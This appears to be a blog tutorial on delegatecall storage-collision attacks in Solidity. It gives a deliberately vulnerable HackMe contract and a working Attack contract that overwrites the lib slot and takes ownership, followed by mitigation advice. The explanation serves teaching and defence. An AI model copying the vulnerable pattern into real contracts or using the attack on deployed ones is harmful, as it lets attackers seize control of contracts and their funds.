delegatecall
attacks in smart contracts are fundamentally an exploitation of the delegatecall
feature to manipulate contract storage slots. Despite their simplicity, these attacks involve vulnerabilities in the contract's logical design and storage slot distribution, and they remain common today. 🚨
This highlights the need for careful consideration in the design of smart contracts, especially when using delegatecall
for inter-contract calls, as well as thorough testing and code auditing before deployment. In this article, I'll demonstrate a simple delegatecall
attack example and how to prevent such attacks. 🛡️
delegatecall
Attack 🧐Alice deploys two simple contracts: a Lib contract and a HackMe contract. She uses a function in the HackMe contract to delegatecall
to a function in the Lib contract. This is common in scenarios like proxy contracts, upgradeable contracts, or modular contracts. The code is as follows: 👩💻
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract Lib {
uint public someNumber;
function doSomething(uint _num) public {
someNumber = _num;
}
}
contract HackMe {
address public lib;
address public owner;
uint public someNumber;
constructor(address _lib) {
lib = _lib;
owner = msg.sender;
}
function doSomething(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
}
}
The attacker, Eve, deploys a simple Attack contract with two key points. First, its storage layout must be identical to that of HackMe (we'll explain why later), and second, it must have a doSomething function with the same signature as in the Lib contract.
The code is as follows: 👩🔬
contract Attack {
// Make sure the storage layout is the same as HackMe
// This will allow us to correctly update the state variables
address public lib;
address public owner;
uint public someNumber;
HackMe public hackMe;
constructor(HackMe _hackMe) {
hackMe = HackMe(_hackMe);
}
function attack() public {
// override address of lib
hackMe.doSomething(uint(uint160(address(this))));
// pass any number as input, the function doSomething() below will
// be called
hackMe.doSomething(1);
}
// function signature must match HackMe.doSomething()
function doSomething(uint _num) public {
owner = msg.sender;
}
}
Eve deploys the Attack contract, passing in a HackMe contract instance in the constructor. This creates a reference to a HackMe contract pointing to the one deployed by Alice. 🌐
Eve then calls the Attack.attack function. Ethereum addresses are essentially 20-byte strings. The hackMe.doSomething(uint(uint160(address(this))));
statement first converts the Attack contract's address to a uint160 type, then to a uint type, to match the expected parameter in the Lib contract. 🔄
This calls the lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
in HackMe, which in turn calls the doSomething function in Lib, aiming to modify the first state variable slot, slot 0, in HackMe. 🎯
Due to delegatecall
's nature, this modifies HackMe's slot 0 variable (lib) to the passed uint parameter (the Attack contract's address). 🔀
The hackMe.doSomething(1);
triggers a second delegatecall
to the now modified lib in HackMe, which is the Attack contract's doSomething function, not Lib's. 🔄
This is why the storage layout in Attack must match HackMe, and the function signature in Attack must match Lib's doSomething. 🧩
The second delegatecall
actually calls the owner = msg.sender;
in Attack, modifying the second storage slot (slot 1) in HackMe to the caller's address. 🚚
Again, due to delegatecall
's nature, even though the function in Attack is called, it modifies the corresponding slot (slot 1) in HackMe, changing its owner to the attacker, Eve. 🎩
delegatecall
Attacks 🛡️This attack is simple but shows the need for cautious design in smart contracts to avoid unexpected storage overwrites and potential vulnerabilities. Based on the attack's principle, here are some ways to mitigate such risks: 🛠️
Maintain storage layout consistency between the contract using delegatecall
and the called contract. This avoids unintended storage overwrites due to layout mismatches. 🧱
Use proxy contracts where the proxy contains little logic and forwards function calls via delegatecall
to another (implementation) contract. This pattern reduces storage vulnerability risks. 🌉
Utilize well-established libraries like OpenZeppelin for safe proxy implementations. These libraries reduce coding and logical errors, offering community-validated best practices. 📚
Implement strict access control on contracts. Ensure only authorized addresses can call critical functions, especially those involving delegatecall
. 🔐
Conduct thorough audits and testing before deployment and continuous monitoring and updating post-deployment, to fix vulnerabilities if found. 🔍
That's all for this discussion on delegatecall
vulnerabilities and security strategies. If you've made it this far, drop a like for the article! 👍
Also published here.